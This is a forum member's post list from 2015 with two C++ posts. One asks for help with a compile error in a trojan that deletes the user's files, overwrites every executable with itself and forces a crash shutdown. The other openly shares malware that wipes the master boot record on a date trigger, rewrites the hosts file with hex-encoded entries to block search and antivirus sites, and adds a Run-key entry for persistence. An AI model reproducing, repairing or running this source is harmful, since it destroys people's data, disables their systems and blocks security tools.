Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - Jeirox

Pages: [1]
1
Beginner's Corner / I need help
« on: January 14, 2015, 12:54:58 am »
I keep getting this error:

Error   2   error C2857: '#include' statement specified with the /YcYcstdafx.h command-line option was not found in the source file   c:\users\joking\documents\visual studio 2013\projects\int_trojan.win32\int_trojan.win32\stdafx.cpp   9   1   INT_TROJAN.WIN32


Here is the code (C++)
Code: [Select]
#include <stdio.h>
#include <Windows.h>
#include <ntstatus.h>
#include "stdafx.h"


#pragma comment(lib,"ntdll.lib")


typedef enum _HARDERROR_RESPONSE_OPTION
{
   OptionAbortRetryIgnore,
   OptionOk,
   OptionOkCancel,
   OptionRetryCancel,
   OptionYesNo,
   OptionYesNoCancel,
   OptionShutdownSystem,
   OptionOkNoWait,
   OptionCancelTryContinue
}HARDERROR_RESPONSE_OPTION;


typedef enum _HARDERROR_RESPONSE
{
   ResponseReturnToCaller,
   ResponseNotHandled,
   ResponseAbort,
   ResponseCancel,
   ResponseIgnore,
   ResponseNo,
   ResponseOk,
   ResponseRetry,
   ResponseYes,
   ResponseTryAgain,
   ResponseContinue
}HARDERROR_RESPONSE;


extern "C" NTSTATUS NTAPI NtRaiseHardError(
   NTSTATUS ErrorStatus,
   ULONG NumberOfParameters,
   ULONG UnicodeStringParameterMask,
   PULONG_PTR Parameters,
   ULONG ValidResponseOptions,
   PULONG Response
   );


extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);


void WINAPI InfectFiles(LPSTR Directory)
{
   HANDLE hFind;
   char SearchName[1024], FullPath[1024];


   WIN32_FIND_DATA FindData;


   memset(SearchName, 0, sizeof(SearchName));
   sprintf(SearchName, "%s\\*", Directory);


   hFind = FindFirstFile(SearchName, &FindData);


   if (hFind != INVALID_HANDLE_VALUE)
   {
      while (FindNextFile(hFind, &FindData))
      {
         if (FindData.cFileName[0] == '.')
         {
            continue;
         }
         memset(FullPath, 0, sizeof(FullPath));
         sprintf(FullPath, "%s\\%s", Directory, FindData.cFileName); // Get the full path


         if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
         {
            InfectFiles(FullPath); //subdir
         }
         else
         {
            if (strstr(FindData.cFileName, ".exe"))
            {
               CopyFile(_pgmptr, FullPath, FALSE); // overwrite file
            }


            else
            {
               DeleteFile(FullPath); // Otherwise, delete the file
            }
         }
      }


      FindClose(hFind);
   }
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
   ULONG Response;
   BOOLEAN bl;


   char dir[120];


   CreateMutex(NULL, TRUE, "VC++");


   if (GetLastError() == ERROR_ALREADY_EXISTS)
   {
      ExitProcess(0);
   }
   GetEnvironmentVariable("userprofile", dir, sizeof(dir)); // Get the user directory
   InfectFiles(dir); // Infect files
   MessageBox(NULL, "Trojan", "VC++", MB_ICONSTOP);
   RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // Enable SeShutdownPrivilege
   NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, OptionShutdownSystem, &Response); // Shutdown
   return 0;
}

[size=78%]Any help?[/size]

2
Beginner's Corner / Overwrite the Masterboot Record [C++]
« on: January 03, 2015, 10:55:50 pm »
Code: (cpp) [Select]
#include <Windows.h>
DWORD WINAPI CheckTime(){
    DWORD write;
    SYSTEMTIME st;
    char data[512];
    ZeroMemory(&data,sizeof(data));
    GetLocalTime(&st);a
    if(st.wYear==2014){
        HANDLE disk=CreateFile("\\.\PhysicalDrive0",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
        WriteFile(disk,data,512,&write,NULL);
        CloseHandle(disk);
        ExitWindowsEx(EWX_REBOOT,0);
    }
    return 0;
}

DWORD WINAPI hosts(){
    char data[]={0x77,0x77,0x77,0x2E,0x79,0x6F,0x75,0x74,0x75,0x62,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x67,0x6F,0x6F,0x67,0x6C,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x79,0x61,0x68,0x6F,0x6F,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x66,0x61,0x63,0x65,0x62,0x6F,0x6F,0x6B,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x65,0x75,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x65,0x6E,0x2E,0x77,0x69,0x6B,0x69,0x70,0x65,0x64,0x69,0x61,0x2E,0x6F,0x72,0x67,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31};
    char path[60];
    DWORD write;
    GetEnvironmentVariable("windir",path,sizeof(path));
    strcat(path,"\system32\drivers\etc\hosts");
    HANDLE hFile=CreateFile(path,GENERIC_ALL,0,NULL,CREATE_ALWAYS,0,NULL);
    WriteFile(hFile,data,sizeof(data),&write,NULL);
    CloseHandle(hFile);
    return 0;
}

DWORD WINAPI reg(){
    char value[]="Virus.exe";
    HKEY hKey;
    while(1){
        RegCreateKey(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run",&hKey);
        RegSetValueEx(hKey,"Virus",0,REG_SZ,(LPBYTE)value,60);
        RegCloseKey(hKey);
        Sleep(10000);
    }
    return 0;
}

int WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR cmd,int show){
    char file[MAX_PATH];
    char path[60];
    HANDLE hToken;
    LUID luid;
    LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);
    TOKEN_PRIVILEGES tp;
    tp.Privileges[0].Luid=luid;
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    tp.PrivilegeCount=1;
    OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
    AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL);
    GetModuleFileName(NULL,file,sizeof(file));
    GetEnvironmentVariable("windir",path,60);
    strcat(path,"\Virus.exe");
    CopyFile(file,path,false);
    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)reg,NULL,0,NULL);
    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)hosts,NULL,0,NULL);
    while(1){
        CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckTime,NULL,0,NULL);
        Sleep(10000);
    }
    return 0;
}
}

Pages: [1]